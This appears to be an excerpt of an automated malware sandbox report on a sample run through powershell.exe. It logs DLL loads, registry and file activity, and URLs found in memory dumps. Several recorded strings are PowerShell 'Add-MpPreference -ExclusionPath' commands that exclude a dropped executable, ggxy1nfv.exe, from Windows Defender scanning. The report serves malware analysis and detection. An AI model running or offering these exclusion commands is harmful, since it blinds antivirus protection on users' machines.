%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00004544)44:T559,"powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")45:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")46:T71a,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CACLS.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "")47:Tfcd,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004260-00000C2B-996520993] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004260-00000C2B-996826990] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004260-00000C2B-996938909] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004260-00000C2B-997029947] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004260-00000C2B-997206851] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004260-00000C2B-997265973] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004260-00000C2B-997314027] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00004260-00000C2B-997365653] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004260-00000C2B-997479495] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00004260-00000C2B-997520275] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00004260-00000C2B-997606511] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00004260-00000C2B-997879902] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00004260-00000C2B-997981827] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004260-00000C2B-998254649] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004260-00000C2B-998328070] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004260-00000C2B-998625262] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004260-00000C2B-998671409] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00004260-00000C2B-998773350] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00004260-00000C2B-998773428] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00004260-00000C2B-998815148] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00004260-00000C2B-999183157] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00004260-00000C2B-999293020] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00004260-00000C2B-999584667] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00004260-00000C2B-999621627] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00004260-00000C2B-999840520]48:T885,file/memory contains long string with (Indicator: "add-mppreference"; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found reference string "powershell -Command "Add-MpPreference -ExclusionPath '!path1!' '!path2!' '!path3!' -ErrorAction SilentlyContinue"" (Indicator: "add-mppreference"; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found reference string "powershell -Command "Add-MpPreference -ExclusionPath '%TEMP%\ggxy1nfv.exe' 'C:\Users\%OSUSER%\AppDat" (Indicator: "add-mppreference"; Source: "00000000-00007120-00000C47-2112470224"), Found reference string "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Local\Temp\ggxy1nfv.exe', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe', 'C:\Users\HAPUBWS\AppData\Roaming\ggxy1nfv.exe' -ErrorAction SilentlyContinue" (Indicator: "add-mppreference"; File: "AMSI"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath '%APPDATA%\ggxy1nfv.exe' -ErrorAction SilentlyContinue"" (Indicator: "add-mppreference"; File: "powershell.exe"), Found reference string "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Local\Temp\ggxy1nfv.exe', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe', 'C:\Users\HAPUBWS\AppData\Roaming\ggxy1nfv.exe' -ErrorAction SilentlyContinue"" (Indicator: "add-mppreference"; Source: "00000000-00004260.00000000.130220.2F470000.00000004.mdmp, 00000000-00004260.00000001.130471.2F470000.00000004.mdmp"), Found reference string "Add-MpPreference -ExclusionPath 'C:\Users\HAPUBWS\AppData\Local\Temp\ggxy1nfv.exe', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe', 'C:\Users\HAPUBWS\AppData\Roaming\ggxy1nfv.exe' -ErrorAction SilentlyContinue" (Indicator: "add-mppreference"; Source: "00000000-00004260.00000000.130220.2F470000.00000004.mdmp 00000000-00004260.00000000.130220.2F6E0000.00000004.mdmp 00000000-00004260.00000000.130220.49830000.00000004.mdmp 00000000-00004260.00000001.130471.2F470000.00000004.mdmp 00000000-00004260.00000001.130471.2F6B0000.00000004.mdmp 00000000-00004260.00000001.130471.2F6E0000.00000004.mdmp 00000000-00004260.00000001.130471.49869000.00000004.mdmp")49:T4a0,"powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_uq5acyoc.v3r.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_dydap4tc.kle.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_qktj35yv.ex1.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_u5t5jwg1.bep.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\ggxy1nfv.exe" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_ebwogeti.hln.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_3iv1ixkp.32d.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\ggxy1nfv.exe" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_zl3qdygn.x0j.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_n3xcv31d.pth.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\ggxy1nfv.exe" for deletion4a:T440,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00003924.00000001.131634.0D452000.00000002.mdmp") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp") Found reference to API "FindResourceW" (Indicator: "FindResource"; Source: "00000000-00004260.00000000.130220.075D2000.00000002.mdmp")4b:Tabc,"powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll"4c:T6b3,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_uq5acyoc.v3r.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_dydap4tc.kle.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_uq5acyoc.v3r.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_dydap4tc.kle.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_qktj35yv.ex1.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_u5t5jwg1.bep.psm1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_qktj35yv.ex1.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_u5t5jwg1.bep.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_ebwogeti.hln.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_3iv1ixkp.32d.psm1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_ebwogeti.hln.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_3iv1ixkp.32d.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_zl3qdygn.x0j.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_n3xcv31d.pth.psm1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_zl3qdygn.x0j.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_n3xcv31d.pth.psm1"4d:T132e6,Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eb6b117b6b1ourcessystem.management.automation.resources02201000zu.netframesources&ht" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: 